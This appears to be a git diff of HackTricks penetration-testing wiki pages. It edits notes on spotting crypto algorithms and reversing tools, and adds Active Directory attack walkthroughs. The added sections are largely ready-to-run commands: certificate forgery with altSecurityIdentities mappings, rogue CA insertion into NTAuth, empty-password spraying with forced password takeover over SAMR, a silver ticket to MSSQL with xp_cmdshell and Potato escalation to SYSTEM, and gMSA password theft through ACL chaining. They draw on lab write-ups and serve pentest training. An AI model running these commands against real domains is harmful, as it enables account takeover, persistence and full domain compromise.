Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Compresses and decompresses a given buffer of data.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code constants
|
||||
|
||||
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
|
||||
|
||||
.png>)
|
||||
|
||||
If you search for the first constant in Google this is what you get:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
|
||||
You can search any of the other constants and you will obtain (probably) the same result.
|
||||
|
||||
### data info
|
||||
|
||||
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
|
||||
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
|
||||
|
||||
.png>)
|
||||
|
||||
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
|
||||
|
||||
## RC4 **(Symmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
It's composed of 3 main parts:
|
||||
|
||||
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
|
||||
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
|
||||
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
|
||||
|
||||
> [!TIP]
|
||||
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
|
||||
|
||||
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Scrambling Stage:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR Stage:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symmetric Crypt)**
|
||||
|
||||
### **Characteristics**
|
||||
|
||||
- Use of **substitution boxes and lookup tables**
|
||||
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
|
||||
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
|
||||
|
||||
### SBox constants
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
- It's rare to find some malware using it but there are examples (Ursnif)
|
||||
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
|
||||
|
||||
### Identifying
|
||||
|
||||
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
|
||||
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
|
||||
|
||||
.png>)
|
||||
|
||||
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
|
||||
|
||||
## RSA **(Asymmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
- More complex than symmetric algorithms
|
||||
- There are no constants! (custom implementation are difficult to determine)
|
||||
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
|
||||
|
||||
### Identifying by comparisons
|
||||
|
||||
.png>)
|
||||
|
||||
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
|
||||
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Characteristics
|
||||
|
||||
- 3 functions: Init, Update, Final
|
||||
- Similar initialize functions
|
||||
|
||||
### Identify
|
||||
|
||||
**Init**
|
||||
|
||||
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Note the use of more constants
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
- Smaller and more efficient as it's function is to find accidental changes in data
|
||||
- Uses lookup tables (so you can identify constants)
|
||||
|
||||
### Identify
|
||||
|
||||
Check **lookup table constants**:
|
||||
|
||||
.png>)
|
||||
|
||||
A CRC hash algorithm looks like:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Compression)
|
||||
|
||||
### Characteristics
|
||||
|
||||
- Not recognizable constants
|
||||
- You can try to write the algorithm in python and search for similar things online
|
||||
|
||||
### Identify
|
||||
|
||||
The graph is quiet large:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Check **3 comparisons to recognise it**:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -1,119 +0,0 @@
|
||||
# Reversing Tools
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Wasm Decompilation and Wat Compilation Guide
|
||||
In the realm of **WebAssembly**, tools for **decompiling** and **compiling** are essential for developers. This guide introduces some online resources and software for handling **Wasm (WebAssembly binary)** and **Wat (WebAssembly text)** files.
|
||||
|
||||
### Online Tools
|
||||
|
||||
- To **decompile** Wasm to Wat, the tool available at [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) comes in handy.
|
||||
- For **compiling** Wat back to Wasm, [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) serves the purpose.
|
||||
- Another decompilation option can be found at [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
|
||||
|
||||
### Software Solutions
|
||||
|
||||
- For a more robust solution, [JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) offers extensive features.
|
||||
- The open-source project [wasmdec](https://github.com/wwwg/wasmdec) is also available for decompilation tasks.
|
||||
|
||||
## .Net Decompilation Resources
|
||||
|
||||
Decompiling .Net assemblies can be accomplished with tools such as:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy), which also offers a [plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), allowing cross-platform usage.
|
||||
- For tasks involving **decompilation**, **modification**, and **recompilation**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) is highly recommended. **Right-clicking** a method and choosing **Modify Method** enables code changes.
|
||||
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) is another alternative for decompiling .Net assemblies.
|
||||
|
||||
### Enhancing Debugging and Logging with DNSpy
|
||||
|
||||
#### DNSpy Logging
|
||||
|
||||
To log information to a file using DNSpy, incorporate the following .Net code snippet:
|
||||
|
||||
```cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
|
||||
#### DNSpy Debugging
|
||||
|
||||
For effective debugging with DNSpy, a sequence of steps is recommended to adjust **Assembly attributes** for debugging, ensuring that optimizations that could hinder debugging are disabled. This process includes changing the `DebuggableAttribute` settings, recompiling the assembly, and saving the changes.
|
||||
|
||||
Moreover, to debug a .Net application run by **IIS**, executing `iisreset /noforce` restarts IIS. To attach DNSpy to the IIS process for debugging, the guide instructs on selecting the **w3wp.exe** process within DNSpy and starting the debugging session.
|
||||
|
||||
For a comprehensive view of loaded modules during debugging, accessing the **Modules** window in DNSpy is advised, followed by opening all modules and sorting assemblies for easier navigation and debugging.
|
||||
|
||||
This guide encapsulates the essence of WebAssembly and .Net decompilation, offering a pathway for developers to navigate these tasks with ease.
|
||||
|
||||
## **Java Decompiler**
|
||||
|
||||
To decompile Java bytecode, these tools can be very helpful:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **Debugging DLLs**
|
||||
|
||||
### Using IDA
|
||||
|
||||
- **Rundll32** is loaded from specific paths for 64-bit and 32-bit versions.
|
||||
- **Windbg** is selected as the debugger with the option to suspend on library load/unload enabled.
|
||||
- Execution parameters include the DLL path and function name. This setup halts execution upon each DLL's loading.
|
||||
|
||||
### Using x64dbg/x32dbg
|
||||
|
||||
- Similar to IDA, **rundll32** is loaded with command line modifications to specify the DLL and function.
|
||||
- Settings are adjusted to break on DLL entry, allowing breakpoint setting at the desired DLL entry point.
|
||||
|
||||
### Images
|
||||
|
||||
- Execution stopping points and configurations are illustrated through screenshots.
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- For emulation, [arm_now](https://github.com/nongiach/arm_now) is a useful resource.
|
||||
|
||||
## **Shellcodes**
|
||||
|
||||
### Debugging Techniques
|
||||
|
||||
- **Blobrunner** and **jmp2it** are tools for allocating shellcodes in memory and debugging them with Ida or x64dbg.
|
||||
- Blobrunner [releases](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [compiled version](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** offers GUI-based shellcode emulation and inspection, highlighting differences in shellcode handling as a file versus direct shellcode.
|
||||
|
||||
### Deobfuscation and Analysis
|
||||
|
||||
- **scdbg** provides insights into shellcode functions and deobfuscation capabilities.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Basic info
|
||||
scdbg.exe -f shellcode -r # Analysis report
|
||||
scdbg.exe -f shellcode -i -r # Interactive hooks
|
||||
scdbg.exe -f shellcode -d # Dump decoded shellcode
|
||||
scdbg.exe -f shellcode /findsc # Find start offset
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # Execute from offset
|
||||
```
|
||||
|
||||
- **CyberChef** for disassembling shellcode: [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- An obfuscator that replaces all instructions with `mov`.
|
||||
- Useful resources include a [YouTube explanation](https://www.youtube.com/watch?v=2VF_wPkiBJY) and [PDF slides](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
|
||||
- **demovfuscator** might reverse movfuscator's obfuscation, requiring dependencies like `libcapstone-dev` and `libz3-dev`, and installing [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- For Delphi binaries, [IDR](https://github.com/crypto2011/IDR) is recommended.
|
||||
|
||||
# Courses
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -45,14 +45,51 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\
|
||||
Moreover, the **certificates generated** with this method **cannot be revoked** as CA is not aware of them.
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
|
||||
|
||||
- Contain a strong binding to the target account (for example, the SID security extension), or
|
||||
- Be paired with a strong, explicit mapping on the target object’s `altSecurityIdentities` attribute.
|
||||
|
||||
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
|
||||
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
|
||||
Notes
|
||||
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
certutil -enterprise -viewstore NTAuth
|
||||
certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
|
||||
# (Optional) publish into AD CA containers to improve chain building across the forest
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
|
||||
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as:
|
||||
@ -64,7 +101,19 @@ Opportunities for **persistence** through **security descriptor modifications of
|
||||
|
||||
An example of malicious implementation would involve an attacker, who has **elevated permissions** in the domain, adding the **`WriteOwner`** permission to the default **`User`** certificate template, with the attacker being the principal for the right. To exploit this, the attacker would first change the ownership of the **`User`** template to themselves. Following this, the **`mspki-certificate-name-flag`** would be set to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`**, allowing a user to provide a Subject Alternative Name in the request. Subsequently, the attacker could **enroll** using the **template**, choosing a **domain administrator** name as an alternative name, and utilize the acquired certificate for authentication as the DA.
|
||||
|
||||
Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
|
||||
|
||||
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
|
||||
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
|
||||
|
||||
> [!TIP]
|
||||
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -5,6 +5,3 @@
|
||||
**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -103,6 +103,44 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
|
||||
### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
|
||||
|
||||
A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.
|
||||
|
||||
Workflow:
|
||||
- Enumerate users (RID brute via SAMR) to build the target list:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
|
||||
- Spray an empty password and keep going on hits to capture accounts that must change at next logon:
|
||||
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
|
||||
- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set):
|
||||
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
|
||||
# Validate and retrieve domain password policy with the new creds
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
|
||||
Operational notes:
|
||||
- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
|
||||
- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
@ -226,6 +264,7 @@ To use any of these tools, you need a user list and a password / a small list of
|
||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -43,6 +43,42 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
|
||||
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
|
||||
|
||||
### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
|
||||
|
||||
If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
|
||||
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
-spn MSSQLSvc/<host.fqdn>:1433 administrator
|
||||
export KRB5CCNAME=$PWD/administrator.ccache
|
||||
|
||||
# Connect to SQL using Kerberos and run commands via xp_cmdshell
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
|
||||
- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
|
||||
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
|
||||
More details on abusing MSSQL and enabling xp_cmdshell:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Potato techniques overview:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Available Services
|
||||
|
||||
| Service Type | Service Silver Tickets |
|
||||
@ -167,9 +203,8 @@ dcsync.md
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -169,6 +169,47 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
|
||||
|
||||
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
|
||||
|
||||
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs:
|
||||
|
||||
- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA.
|
||||
- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials.
|
||||
|
||||
Typical workflow:
|
||||
|
||||
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Add yourself to the intermediate group you control (example with bloodyAD):
|
||||
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
|
||||
3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM:
|
||||
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
|
||||
4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly:
|
||||
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
|
||||
Notes:
|
||||
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
|
||||
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
|
||||
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
|
||||
|
||||
|
||||
|
||||
## LAPS
|
||||
|
||||
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
|
||||
@ -269,4 +310,10 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha
|
||||
uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,6 +15,7 @@
|
||||
- [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
@ -228,6 +228,15 @@ Basically, this is the flaw that this bug exploits:
|
||||
|
||||
You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
|
||||
|
||||
## Third-Party Auto-Updaters and Agent IPC (local privesc)
|
||||
|
||||
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-auto-updaters-and-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.
|
||||
@ -739,6 +748,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d
|
||||
arbitrary-kernel-rw-token-theft.md
|
||||
{{#endref}}
|
||||
|
||||
#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
|
||||
|
||||
